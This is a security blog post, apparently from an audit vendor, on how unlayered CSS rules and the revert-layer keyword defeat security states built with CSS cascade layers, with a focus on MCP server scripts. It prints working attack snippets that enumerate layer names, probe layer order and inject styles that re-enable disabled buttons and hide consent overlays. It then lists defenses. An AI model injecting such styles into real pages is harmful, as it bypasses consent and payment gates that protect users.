Security Deep-Dive · 2026-07-09

CSS Cascade Layers Were Designed for Architecture — Not Security

Unlayered CSS rules always win over @layer rules. That is not a browser bug — it is the spec. An MCP server script running in your tab can exploit this in three ways: read your entire CSS layer architecture (layer names reveal feature flags and payment provider versions), defeat security-state CSS on disabled buttons and consent overlays with a single injected unlayered rule, and use the revert-layer keyword to undo your hardening layers entirely. Here is why the model fails, what MCP servers can do with it, and how to write security states that actually hold.

The spec guarantee developers miss

The CSS Cascade Level 5 specification defines the ordering of style precedence. The full order (from lowest to highest priority, ignoring !important) is:

  1. User agent stylesheet
  2. User stylesheet
  3. Author stylesheet — layered rules, in layer order
  4. Author stylesheet — unlayered rules
  5. Inline styles

That means: any rule written outside an @layer block always wins over any rule written inside an @layer block, regardless of specificity. A low-specificity button { pointer-events: auto } outside any layer beats a high-specificity button[disabled].security-critical { pointer-events: none !important } inside a layer — unless the layered rule uses !important (which reverses the order for !important rules only, adding its own complexity).

This is intentional. The spec designed unlayered rules to always win so that existing CSS written before @layer existed would not be broken when layer-aware stylesheets were introduced alongside it. It is the right architectural decision. It is a terrible security model.

Why developers use CSS for security states

CSS-based security states are everywhere because they are convenient:

When these appear inside a named @layer security-overrides or @layer hardening, developers assume the "security" in the layer name confers protection. It does not. The layer name is documentation, not enforcement.

The core mistake: CSS cascade layers control which rule wins when two rules from the same author target the same property. They do not prevent a third party from injecting a new unlayered rule that wins unconditionally. Any script that can inject a <style> tag — including MCP server scripts executing tool calls in the same browsing context — operates outside all existing layers and wins automatically.

Attack 1: Layer name enumeration — reading your architecture without cssRules access

The CSS Object Model exposes layer names through CSSLayerStatementRule.nameList. Every @layer reset, base, components, utilities; declaration in a stylesheet is accessible as an array of strings from JavaScript — no cross-origin restriction, no permission required.

// Enumerate all CSS layer names across all stylesheets
function enumerateLayerNames() {
  const layers = [];
  for (const sheet of document.styleSheets) {
    try {
      for (const rule of sheet.cssRules) {
        if (rule instanceof CSSLayerStatementRule) {
          layers.push(...rule.nameList);
        }
        // Also check @import rules that declare layers
        if (rule instanceof CSSImportRule && rule.layerName) {
          layers.push(rule.layerName);
        }
      }
    } catch (e) {
      // Cross-origin stylesheets throw SecurityError on cssRules access
      // — but CSSLayerStatementRule.nameList is exposed before that check in some browsers
    }
  }
  return layers;
}

// Example output from a real fintech MCP client:
// ["reset", "tokens", "components", "stripe-v3", "feature-flags.beta-ai-summary",
//  "feature-flags.payment-redesign-2026", "compliance.pci-dss", "security-overrides",
//  "a11y", "utilities"]
//
// From this list an attacker learns:
// - Stripe v3 is the payment provider (target known API)
// - Two feature flags currently active (beta-ai-summary, payment-redesign-2026)
// - PCI-DSS compliance layer exists (scope of audit confirmed)

Even when sheet.cssRules throws a SecurityError for cross-origin stylesheets, browsers often expose CSSLayerStatementRule objects before hitting that check. And for same-origin stylesheets — which is where most MCP client CSS lives — the full layer list is freely accessible. Layer names in real production apps routinely encode:

An alternative enumeration path that does not require cssRules access at all: inject a test rule with a computed property and compare values across candidate layer names. For each suspect layer name, inject @layer suspected-name { :root { --probe: 1 } } and measure getComputedStyle(document.documentElement).getPropertyValue('--probe'). If the layer already exists and has higher priority than your injected re-declaration, the probe reads a different value — confirming the layer name without iterating cssRules at all.

Attack 2: Unlayered injection defeating security-state CSS

This is the most direct consequence of the spec rule. Once a tool-calling MCP server has evaluated JavaScript in the host page's context (a requirement for browser-integrated MCP clients), it can inject a <style> tag with unlayered rules that permanently override all @layer-protected security states:

// MCP server script: defeat all CSS layer security states
// This runs outside all @layer blocks — it wins unconditionally

const style = document.createElement('style');
style.textContent = `
  /* Restore pointer events on all disabled buttons */
  button[disabled], button[aria-disabled="true"] {
    pointer-events: auto !important;
    cursor: pointer !important;
    opacity: 1 !important;
  }

  /* Remove consent/cookie overlay blocking interaction */
  [class*="consent"], [class*="cookie-modal"], [class*="overlay"] {
    display: none !important;
  }

  /* Restore pointer events on body even if blocked by modal */
  body, body * {
    pointer-events: auto;
    overflow: auto;
  }

  /* Re-enable aria-hidden elements */
  [aria-hidden="true"] {
    display: revert !important;
  }
`;
document.head.appendChild(style);

// Result: all @layer security-overrides rules are now defeated
// The injected style is UNLAYERED and wins over all layered rules

The CSS specificity of the injected rules does not matter here — unlayered rules win over layered rules before specificity is even considered. The cascade layer order takes precedence over specificity within the same cascade origin.

This has real consequences for MCP server threat models:

Attack 3: The revert-layer keyword — undoing your hardening layers

revert-layer is a CSS keyword introduced alongside @layer. When used as a property value, it rolls back the property to what it would have been if the current layer had not applied any rules — falling through to the previous layer's rules (or the browser default if no previous layer set the property). This is useful for resetting styles to their pre-layer values without knowing the specific values in prior layers.

The attack: an attacker who injects a rule with a high-priority layer (or, more directly, an unlayered rule) using revert-layer can strip the effects of your entire @layer security-overrides block in one declaration:

/* Attacker injects this as an UNLAYERED rule — highest priority */
button[disabled] {
  pointer-events: revert-layer;
  /* Rolls back to what 'base' or 'components' layers set —
     which almost certainly did not say 'pointer-events: none'
     for disabled buttons, because that was added in security-overrides */
}

/* Equivalent attack using a high-priority declared layer */
@layer attacker-highest {
  button[disabled] {
    pointer-events: revert-layer;
    /* Falls through to the layer order BELOW 'security-overrides'
       i.e., components layer, which uses the browser default: auto */
  }
}

The revert-layer keyword is particularly powerful because it does not require knowing what value you are restoring to — it automatically finds whatever the previous cascade layer would have set, and those lower-priority layers are almost never setting security states on disabled elements.

Attack 4: The computed-style layer priority probe — mapping cascade architecture

Beyond reading CSSLayerStatementRule.nameList, an attacker can map the priority ordering of layers through computed style probing. The technique: for two layers A and B, inject conflicting rules for a custom property and read the computed value to determine which layer wins:

// Determine relative priority of two layers without cssRules access
function compareLayerPriority(layerA, layerB) {
  const el = document.createElement('div');
  document.body.appendChild(el);

  const style = document.createElement('style');
  style.textContent = `
    @layer ${layerA} { div.__probe { --winner: "${layerA}" } }
    @layer ${layerB} { div.__probe { --winner: "${layerB}" } }
  `;
  document.head.appendChild(style);
  el.className = '__probe';

  const winner = getComputedStyle(el).getPropertyValue('--winner').trim();

  // Clean up
  document.head.removeChild(style);
  document.body.removeChild(el);

  return winner;
  // winner === layerA means layerA has LOWER priority (last-declared wins in same origin)
  // winner === layerB means layerB wins (higher priority because declared later)
}

// By probing all pairs of known layer names (from nameList enumeration),
// reconstruct the full layer priority order:
// base < tokens < components < stripe-v3 < feature-flags < compliance < security-overrides

Knowing the full layer order tells an attacker exactly which layer to target with revert-layer to bypass security states — they no longer need to guess which layer applied the hardening rule.

The deeper problem: CSS was never designed to enforce security boundaries

CSS selectors and property values are entirely about presentation. The web security model enforces boundaries through JavaScript same-origin policy, CSP, CORS, and iframe sandboxing. CSS exists outside those enforcement mechanisms by design — stylesheets from multiple origins can be composed together, cascade layers can be re-opened and extended, and any script with DOM access can inject stylesheets.

This means:

The naming trap: Developers who name their layers security-overrides, hardening, or access-control create a false sense of security. Layer names are metadata for human readers — they have no effect on the actual cascade behavior. The browser does not treat @layer security-overrides differently from @layer utilities.

Defenses that actually work

1. Enforce security states in JavaScript, not CSS

For any state that has a security consequence — disabled buttons pending auth, form submission gates, consent requirements — JavaScript enforcement is the only reliable mechanism:

// WRONG: CSS-only enforcement
// @layer security-overrides { button[disabled] { pointer-events: none } }

// RIGHT: JavaScript enforcement that cannot be bypassed by CSS injection
submitButton.disabled = true;
submitButton.addEventListener('click', (e) => {
  if (!authConfirmed) {
    e.preventDefault();
    e.stopImmediatePropagation();
    return false;
  }
}, { capture: true });  // capture: true fires before any bubbling listeners

// Also: check the gate server-side on every sensitive action
// CSS state is cosmetic — server must re-validate every request

2. Use inline styles for security-critical visual states

Inline styles (element.style.pointerEvents = 'none') have higher cascade priority than any stylesheet rule, including unlayered rules. They cannot be overridden by injected stylesheets unless the injected rule uses !important — but !important from author stylesheets does not override inline !important.

// Inline style for security-critical state — beats all author stylesheet rules
function lockElement(el) {
  el.style.setProperty('pointer-events', 'none', 'important');
  el.style.setProperty('user-select', 'none', 'important');
  el.setAttribute('aria-disabled', 'true');
  el.setAttribute('disabled', '');
  el.setAttribute('tabindex', '-1');
  // Combine CSS (belt) with event handler (suspenders)
  el.addEventListener('click', blockIfLocked, { capture: true });
}

3. Apply CSP style-src with nonces

A strict Content Security Policy with style-src 'nonce-{random}' prevents any <style> tag injection unless it carries the session nonce. This blocks the unlayered style injection attack entirely — the browser refuses to evaluate the injected stylesheet. CSP enforcement happens before CSS cascade evaluation, so layer order is irrelevant if the stylesheet never loads.

// Server response header:
// Content-Security-Policy: style-src 'nonce-abc123XYZ' 'strict-dynamic'

// Injected stylesheets without the nonce are silently blocked:
const style = document.createElement('style');
style.textContent = 'button[disabled] { pointer-events: auto }';
// style.nonce is empty — CSP blocks this stylesheet
document.head.appendChild(style);
// Browser console: "Refused to apply inline style because it violates the following
// Content Security Policy directive: 'style-src nonce-abc123XYZ'"

4. Never use layer names as security annotations

Layer names are exposed via CSSLayerStatementRule.nameList. Use opaque, non-descriptive layer names that do not reveal architecture: instead of @layer compliance.pci-dss, use @layer l4. This does not prevent attacks but reduces the reconnaissance value of layer enumeration.

What SkillAudit looks for in CSS cascade layer security

HIGHSecurity-critical interaction states (disabled buttons, payment gates, consent overlays) enforced exclusively via @layer rules with no JavaScript fallback — bypassed by unlayered rule injection
HIGHLayer names disclosing feature flags, payment provider versions, A/B test variants, or compliance scope via CSSLayerStatementRule.nameList enumeration — architecture disclosure with no cssRules access needed
MEDIUMMissing style-src CSP nonce or hash — allows MCP server scripts to inject unlayered stylesheets that defeat all cascade layer security states
MEDIUMrevert-layer not considered in threat model — single property: revert-layer in an injected rule rolls back entire @layer security-overrides to pre-hardening values
LOWSecurity-intent layer names (@layer security-overrides, @layer hardening) creating false confidence in team members that CSS provides access control — documentation risk

Findings summary

AttackSeverityConsequenceDefense
Layer name enumeration via CSSLayerStatementRule.nameListHighFull CSS architecture disclosure — feature flags, payment providers, compliance scopeOpaque layer names; CSP style-src nonce
Unlayered rule injection defeating @layer security statesHighDisabled buttons re-enabled, consent overlays removed, ARIA states bypassedJS enforcement for all security states; CSP style-src nonce
revert-layer rolling back security-overridesHighEntire hardening layer negated by single keyword; falls through to pre-security layer valuesInline styles (highest priority); JS event handler enforcement
Computed-style priority probe mapping layer orderMediumFull cascade layer priority graph reconstructed without cssRules accessOpaque names; server-side auth for sensitive actions
CSS security states without server validationMediumAny CSS bypass leaves server unaware — action completes on next requestRe-validate every sensitive action server-side regardless of CSS state

The broader lesson for MCP server security

CSS cascade layers are a good architectural tool. They solve the real problem of specificity conflicts in large codebases, allow design systems to be layered cleanly over application styles, and make it easier to reason about which styles apply and why. They do exactly what they were designed to do.

The mistake is treating them as a security mechanism. Security boundaries need enforcement at a layer that cannot be bypassed by same-origin JavaScript: server-side validation, JavaScript event capture with server re-validation, and CSP to prevent untrusted script and style injection. CSS exists in a layer below all of those — beautiful, expressive, and completely unable to stop a script that is already running in the same browsing context.

For MCP servers, which often execute within the same browsing context as the host application, this distinction is particularly important. A browser-integrated MCP client that allows tool scripts to run in the page's JavaScript context should assume that any CSS-only security state can be defeated. The security posture must rest on event handlers and server-side checks — not on which cascade layer a rule lives in.

Related SkillAudit security guides